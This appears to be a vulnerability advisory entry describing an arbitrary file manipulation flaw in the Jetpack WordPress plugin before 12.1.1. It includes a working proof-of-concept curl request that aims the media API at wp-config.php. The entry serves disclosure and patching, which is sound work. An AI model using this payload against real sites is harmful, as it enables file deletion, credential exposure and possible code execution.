Jetpack < 12.1.1 - Author+ Arbitrary File Manipulation via API

2023-05-3000:00:00

WPScan

146

jetpack

arbitrary file manipulation

api

wordpress

curl

security exploit

blog id

0.003 Low

EPSS

Percentile

70.8%

JSON

The plugin does not validate uploaded files, allowing users with author roles or above to manipulate existing files on the site, deleting arbitrary files, and in rare cases achieve Remote Code Execution via phar deserialization.

curl --json '{ "media": {"tmp_name": "/WP_CONTENT_PATH/wp-config.php", "name": "test.txt"} }' https://public-api.wordpress.com/rest/v1.2/sites/BLOG_ID/media/1/edit

Where BLOG_ID is the site Jetpack blog id.